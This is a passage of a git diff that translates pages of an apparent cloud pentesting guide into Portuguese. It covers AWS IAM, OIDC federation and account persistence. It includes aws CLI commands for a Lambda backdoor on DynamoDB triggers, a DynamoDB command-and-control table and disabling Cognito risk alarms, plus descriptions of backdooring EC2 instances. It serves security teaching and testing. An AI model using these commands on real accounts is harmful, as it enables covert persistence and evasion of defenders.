contas que estão sendo dadas **políticas inline no AWS Identity Center** terão essas permissões em uma política inline chamada **`AwsSSOInlinePolicy`**. -Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**. +Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que elas têm as mesmas permissões**. -### Cross Account Trusts and Roles +### Confianças e Funções entre Contas -**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ -It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. +**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas da AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\ +É recomendado **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança. ### AWS Simple AD -Not supported: +Não suportado: -- Trust Relations -- AD Admin Center -- Full PS API support -- AD Recycle Bin -- Group Managed Service Accounts -- Schema Extensions -- No Direct access to OS or Instances +- Relações de Confiança +- Centro de Administração do AD +- Suporte completo à API PS +- Lixeira do AD +- Contas de Serviço Gerenciadas por Grupo +- Extensões de Esquema +- Sem acesso direto ao SO ou Instâncias -#### Web Federation or OpenID Authentication +#### Federação Web ou Autenticação OpenID -The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS. +O aplicativo usa o AssumeRoleWithWebIdentity para criar credenciais temporárias. No entanto, isso não concede acesso ao console da AWS, apenas acesso a recursos dentro da AWS. -### Other IAM options +### Outras opções IAM -- You can **set a password policy setting** options like minimum length and password requirements. -- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. +- Você pode **definir uma configuração de política de senha** com opções como comprimento mínimo e requisitos de senha. +- Você pode **baixar o "Relatório de Credenciais"** com informações sobre credenciais atuais (como tempo de criação do usuário, se a senha está habilitada...). Você pode gerar um relatório de credenciais com a frequência de uma vez a cada **quatro horas**. -AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**. +O AWS Identity and Access Management (IAM) fornece **controle de acesso detalhado** em toda a AWS. Com o IAM, você pode especificar **quem pode acessar quais serviços e recursos**, e sob quais condições. Com as políticas IAM, você gerencia permissões para sua força de trabalho e sistemas para **garantir permissões de menor privilégio**. -### IAM ID Prefixes +### Prefixos de ID IAM -In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature: +Na [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) você pode encontrar os **prefixos de ID IAM** de chaves dependendo de sua natureza: -| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [Token portador do serviço AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Context-specific credential | -| AGPA | User group | -| AIDA | IAM user | -| AIPA | Amazon EC2 instance profile | -| AKIA | Access key | -| ANPA | Managed policy | -| ANVA | Version in a managed policy | -| APKA | Public key | -| AROA | Role | -| ASCA | Certificate | -| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. | +| ACCA | Credencial específica do contexto | +| AGPA | Grupo de usuários | +| AIDA | Usuário IAM | +| AIPA | Perfil de instância do Amazon EC2 | +| AKIA | Chave de acesso | +| ANPA | Política gerenciada | +| ANVA | Versão em uma política gerenciada | +| APKA | Chave pública | +| AROA | Função | +| ASCA | Certificado | +| ASIA | [IDs de chaves de acesso temporárias (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) usam este prefixo, mas são únicas apenas em combinação com a chave de acesso secreta e o token de sessão. | -### Recommended permissions to audit accounts +### Permissões recomendadas para auditar contas -The following privileges grant various read access of metadata: +Os seguintes privilégios concedem vários acessos de leitura de metadados: - `arn:aws:iam::aws:policy/SecurityAudit` - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` @@ -336,14 +324,13 @@ The following privileges grant various read access of metadata: - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## Misc +## Diversos -### CLI Authentication - -In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\ -In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\ -Example of credentials file with more than 1 profile: +### Autenticação CLI +Para que um usuário regular se autentique na AWS via CLI, você precisa ter **credenciais locais**. Por padrão, você pode configurá-las **manualmente** em `~/.aws/credentials` ou **executando** `aws configure`.\ +Nesse arquivo, você pode ter mais de um perfil; se **nenhum perfil** for especificado usando a **aws cli**, o chamado **`[default]`** nesse arquivo será usado.\ +Exemplo de arquivo de credenciais com mais de 1 perfil: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -354,12 +341,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` +Se você precisar acessar **diferentes contas AWS** e seu perfil tiver acesso para **assumir um papel dentro dessas contas**, você não precisa chamar manualmente o STS toda vez (`aws sts assume-role --role-arn --role-session-name sessname`) e configurar as credenciais. -If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. - -You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -A config file example: - +Você pode usar o arquivo `~/.aws/config` para [**indicar quais papéis assumir**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), e então usar o parâmetro `--profile` como de costume (o `assume-role` será realizado de forma transparente para o usuário).\ +Um exemplo de arquivo de configuração: ``` [profile acc2] region=eu-west-2 @@ -368,23 +353,16 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` - -With this config file you can then use aws cli like: - +Com este arquivo de configuração, você pode usar aws cli assim: ``` aws --profile acc2 ... ``` +Se você está procurando algo **similar** a isso, mas para o **navegador**, você pode conferir a **extensão** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). -If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). - -## References +## Referências - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 73ae6b448..3b3499b70 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -1,87 +1,84 @@ -# AWS - Federation Abuse +# AWS - Abuso de Federação {{#include ../../../banners/hacktricks-training.md}} ## SAML -For info about SAML please check: +Para informações sobre SAML, consulte: {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key) +Para configurar uma **Federação de Identidade através do SAML**, você só precisa fornecer um **nome** e o **XML de metadados** contendo toda a configuração SAML (**endpoints**, **certificado** com chave pública) -## OIDC - Github Actions Abuse +## OIDC - Abuso de Github Actions -In order to add a github action as Identity provider: - -1. For _Provider type_, select **OpenID Connect**. -2. For _Provider URL_, enter `https://token.actions.githubusercontent.com` -3. Click on _Get thumbprint_ to get the thumbprint of the provider -4. For _Audience_, enter `sts.amazonaws.com` -5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:sub": [ - "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", - "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" - ], - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] - } - ``` -6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**. -7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**. -8. Finally use a github action to configure the AWS creds to be used by the workflow: +Para adicionar uma ação do github como provedor de identidade: +1. Para _Tipo de provedor_, selecione **OpenID Connect**. +2. Para _URL do provedor_, insira `https://token.actions.githubusercontent.com` +3. Clique em _Obter impressão digital_ para obter a impressão digital do provedor +4. Para _Público_, insira `sts.amazonaws.com` +5. Crie um **novo papel** com as **permissões** que a ação do github precisa e uma **política de confiança** que confie no provedor como: +- ```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:sub": [ +"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", +"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" +], +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +6. Observe na política anterior como apenas uma **branch** do **repositório** de uma **organização** foi autorizada com um **gatilho** específico. +7. O **ARN** do **papel** que a ação do github poderá **imitar** será o "segredo" que a ação do github precisa saber, então **armazene** dentro de um **segredo** em um **ambiente**. +8. Por fim, use uma ação do github para configurar as credenciais da AWS a serem usadas pelo fluxo de trabalho: ```yaml name: "test AWS Access" # The workflow should only trigger on pull requests to the main branch on: - pull_request: - branches: - - main +pull_request: +branches: +- main # Required to get the ID Token that will be used for OIDC permissions: - id-token: write - contents: read # needed for private repos to checkout +id-token: write +contents: read # needed for private repos to checkout jobs: - aws: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 +aws: +runs-on: ubuntu-latest +steps: +- name: Checkout +uses: actions/checkout@v3 - - name: Configure AWS Credentials - uses: aws-actions/configure-aws-credentials@v1 - with: - aws-region: eu-west-1 - role-to-assume:${{ secrets.READ_ROLE }} - role-session-name: OIDCSession +- name: Configure AWS Credentials +uses: aws-actions/configure-aws-credentials@v1 +with: +aws-region: eu-west-1 +role-to-assume:${{ secrets.READ_ROLE }} +role-session-name: OIDCSession - - run: aws sts get-caller-identity - shell: bash +- run: aws sts get-caller-identity +shell: bash ``` - ## OIDC - EKS Abuse - ```bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate @@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` - -It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy: - +É possível gerar **OIDC providers** em um **EKS** cluster simplesmente definindo a **OIDC URL** do cluster como um **novo provedor de identidade Open ID**. Esta é uma política padrão comum: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Esta política está corretamente indicando que **apenas** o **cluster EKS** com **id** `20C159CDF6F2349B68846BEC03BE031B` pode assumir a função. No entanto, não está indicando qual conta de serviço pode assumi-la, o que significa que **QUALQUER conta de serviço com um token de identidade da web** poderá **assumir** a função. -This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role. - -In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as: - +Para especificar **qual conta de serviço deve ser capaz de assumir a função,** é necessário especificar uma **condição** onde o **nome da conta de serviço é especificado**, como: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` - -## References +## Referências - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 28868b9f1..5a2834ba2 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -1,21 +1,17 @@ -# AWS - Permissions for a Pentest +# AWS - Permissões para um Pentest {{#include ../../banners/hacktricks-training.md}} -These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools: +Estas são as permissões que você precisa em cada conta AWS que deseja auditar para poder executar todas as ferramentas de auditoria AWS propostas: -- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) -- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions: - - **access-analyzer:List\*** - - **access-analyzer:Get\*** - - **iam:CreateServiceLinkedRole** - - **access-analyzer:CreateAnalyzer** - - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission) - - **access-analyzer:DeleteAnalyzer** - - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission) +- A política padrão **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) +- Para executar [aws_iam_review](https://github.com/carlospolop/aws_iam_review) você também precisa das permissões: +- **access-analyzer:List\*** +- **access-analyzer:Get\*** +- **iam:CreateServiceLinkedRole** +- **access-analyzer:CreateAnalyzer** +- Opcional se o cliente gerar os analisadores para você, mas geralmente é mais fácil apenas pedir essa permissão) +- **access-analyzer:DeleteAnalyzer** +- Opcional se o cliente remover os analisadores para você, mas geralmente é mais fácil apenas pedir essa permissão) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md index f3b45c4d3..bcb3ce3d4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md @@ -1,6 +1 @@ -# AWS - Persistence - - - - - +# AWS - Persistência diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 6d2b0ec35..d7bf906c1 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -1,36 +1,32 @@ -# AWS - API Gateway Persistence +# AWS - Persistência do API Gateway {{#include ../../../banners/hacktricks-training.md}} ## API Gateway -For more information go to: +Para mais informações, vá para: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Resource Policy +### Política de Recursos -Modify the resource policy of the API gateway(s) to grant yourself access to them +Modifique a política de recursos do(s) API gateway(s) para conceder a si mesmo acesso a eles. -### Modify Lambda Authorizers +### Modificar Autorizadores Lambda -Modify the code of lambda authorizers to grant yourself access to all the endpoints.\ -Or just remove the use of the authorizer. +Modifique o código dos autorizadores lambda para conceder a si mesmo acesso a todos os endpoints.\ +Ou simplesmente remova o uso do autorizador. -### IAM Permissions +### Permissões IAM -If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\ -Or just remove the use of the authorizer. +Se um recurso estiver usando autorizador IAM, você pode conceder a si mesmo acesso a ele modificando as permissões IAM.\ +Ou simplesmente remova o uso do autorizador. -### API Keys +### Chaves de API -If API keys are used, you could leak them to maintain persistence or even create new ones.\ -Or just remove the use of API keys. +Se chaves de API forem usadas, você pode vazá-las para manter a persistência ou até mesmo criar novas.\ +Ou simplesmente remova o uso de chaves de API. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index e2e037e53..b67def5f9 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -1,27 +1,27 @@ -# AWS - Cognito Persistence +# AWS - Persistência do Cognito {{#include ../../../banners/hacktricks-training.md}} ## Cognito -For more information, access: +Para mais informações, acesse: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### User persistence +### Persistência do usuário -Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like: +Cognito é um serviço que permite atribuir funções a usuários não autenticados e autenticados e controlar um diretório de usuários. Várias configurações diferentes podem ser alteradas para manter alguma persistência, como: -- **Adding a User Pool** controlled by the user to an Identity Pool -- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow** - - Or to an **authenticated Identity Pool** if the attacker can login - - Or **improve the permissions** of the given roles -- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool** -- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool +- **Adicionar um User Pool** controlado pelo usuário a um Identity Pool +- Dar uma **função IAM a um Identity Pool não autenticado e permitir o fluxo de autenticação básica** +- Ou a um **Identity Pool autenticado** se o atacante conseguir fazer login +- Ou **melhorar as permissões** das funções dadas +- **Criar, verificar e privesc** via atributos controlados por usuários ou novos usuários em um **User Pool** +- **Permitir provedores de identidade externos** para fazer login em um User Pool ou em um Identity Pool -Check how to do these actions in +Verifique como realizar essas ações em {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md @@ -29,18 +29,12 @@ Check how to do these actions in ### `cognito-idp:SetRiskConfiguration` -An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: - +Um atacante com esse privilégio poderia modificar a configuração de risco para conseguir fazer login como um usuário do Cognito **sem que alarmes sejam acionados**. [**Confira o cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para verificar todas as opções: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` - -By default this is disabled: +Por padrão, isso está desativado:
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 75a824e73..d39cec146 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -1,67 +1,59 @@ -# AWS - DynamoDB Persistence +# AWS - Persistência do DynamoDB {{#include ../../../banners/hacktricks-training.md}} ### DynamoDB -For more information access: +Para mais informações, acesse: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### DynamoDB Triggers with Lambda Backdoor - -Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account. +### Gatilhos do DynamoDB com Backdoor Lambda +Usando gatilhos do DynamoDB, um atacante pode criar uma **backdoor furtiva** associando uma função Lambda maliciosa a uma tabela. A função Lambda pode ser acionada quando um item é adicionado, modificado ou excluído, permitindo que o atacante execute código arbitrário dentro da conta AWS. ```bash # Create a malicious Lambda function aws lambda create-function \ - --function-name MaliciousFunction \ - --runtime nodejs14.x \ - --role \ - --handler index.handler \ - --zip-file fileb://malicious_function.zip \ - --region +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ - --function-name MaliciousFunction \ - --event-source \ - --region +--function-name MaliciousFunction \ +--event-source \ +--region ``` +Para manter a persistência, o atacante pode criar ou modificar itens na tabela DynamoDB, o que acionará a função Lambda maliciosa. Isso permite que o atacante execute código dentro da conta AWS sem interação direta com a função Lambda. -To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function. - -### DynamoDB as a C2 Channel - -An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands. +### DynamoDB como um Canal C2 +Um atacante pode usar uma tabela DynamoDB como um **canal de comando e controle (C2)** criando itens contendo comandos e usando instâncias comprometidas ou funções Lambda para buscar e executar esses comandos. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ - --table-name C2Table \ - --attribute-definitions AttributeName=CommandId,AttributeType=S \ - --key-schema AttributeName=CommandId,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --region +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region # Insert a command into the table aws dynamodb put-item \ - --table-name C2Table \ - --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ - --region +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region ``` - -The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources. +As instâncias comprometidas ou funções Lambda podem verificar periodicamente a tabela C2 em busca de novos comandos, executá-los e, opcionalmente, relatar os resultados de volta à tabela. Isso permite que o atacante mantenha persistência e controle sobre os recursos comprometidos. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index b52ac9e85..eb944f61b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -4,55 +4,51 @@ ## EC2 -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Security Group Connection Tracking Persistence +### Persistência de Rastreamento de Conexão do Grupo de Segurança -If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic. +Se um defensor descobrir que uma **instância EC2 foi comprometida**, ele provavelmente tentará **isolar** a **rede** da máquina. Ele poderia fazer isso com um **Deny NACL** explícito (mas os NACLs afetam toda a sub-rede), ou **mudando o grupo de segurança** para não permitir **qualquer tipo de tráfego de entrada ou saída**. -If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +Se o atacante tiver um **shell reverso originado da máquina**, mesmo que o SG seja modificado para não permitir tráfego de entrada ou saída, a **conexão não será encerrada devido ao** [**Rastreamento de Conexão do Grupo de Segurança**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** -### EC2 Lifecycle Manager +### Gerenciador de Ciclo de Vida do EC2 -This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\ -An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**. +Este serviço permite **agendar** a **criação de AMIs e snapshots** e até mesmo **compartilhá-los com outras contas**.\ +Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou todos os volumes **toda semana** e **compartilhá-los com sua conta**. -### Scheduled Instances +### Instâncias Agendadas -It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access. +É possível agendar instâncias para serem executadas diariamente, semanalmente ou até mensalmente. Um atacante poderia executar uma máquina com altos privilégios ou acesso interessante onde ele poderia acessar. -### Spot Fleet Request +### Solicitação de Frota Spot -Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**. +Instâncias spot são **mais baratas** do que instâncias regulares. Um atacante poderia lançar uma **pequena solicitação de frota spot por 5 anos** (por exemplo), com **atribuição automática de IP** e um **dados do usuário** que envia para o atacante **quando a instância spot iniciar** e o **endereço IP** e com um **papel IAM de alto privilégio**. -### Backdoor Instances +### Instâncias de Backdoor -An attacker could get access to the instances and backdoor them: +Um atacante poderia obter acesso às instâncias e backdoor elas: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Backdooring the **User Data** +- Usando um **rootkit** tradicional, por exemplo +- Adicionando uma nova **chave SSH pública** (ver [opções de privesc do EC2](../aws-privilege-escalation/aws-ec2-privesc.md)) +- Backdooring os **Dados do Usuário** -### **Backdoor Launch Configuration** +### **Configuração de Lançamento de Backdoor** -- Backdoor the used AMI -- Backdoor the User Data -- Backdoor the Key Pair +- Backdoor a AMI utilizada +- Backdoor os Dados do Usuário +- Backdoor o Par de Chaves ### VPN -Create a VPN so the attacker will be able to connect directly through i to the VPC. +Criar uma VPN para que o atacante possa se conectar diretamente através dela ao VPC. -### VPC Peering +### Peering de VPC -Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC. +Criar uma conexão de peering entre o VPC da vítima e o VPC do atacante para que ele possa acessar o VPC da vítima. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 07928fbd4..930684aee 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -4,98 +4,88 @@ ## ECR -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Hidden Docker Image with Malicious Code +### Imagem Docker Oculta com Código Malicioso -An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner. +Um atacante poderia **carregar uma imagem Docker contendo código malicioso** em um repositório ECR e usá-la para manter a persistência na conta AWS alvo. O atacante poderia então implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de maneira furtiva. -### Repository Policy - -Add a 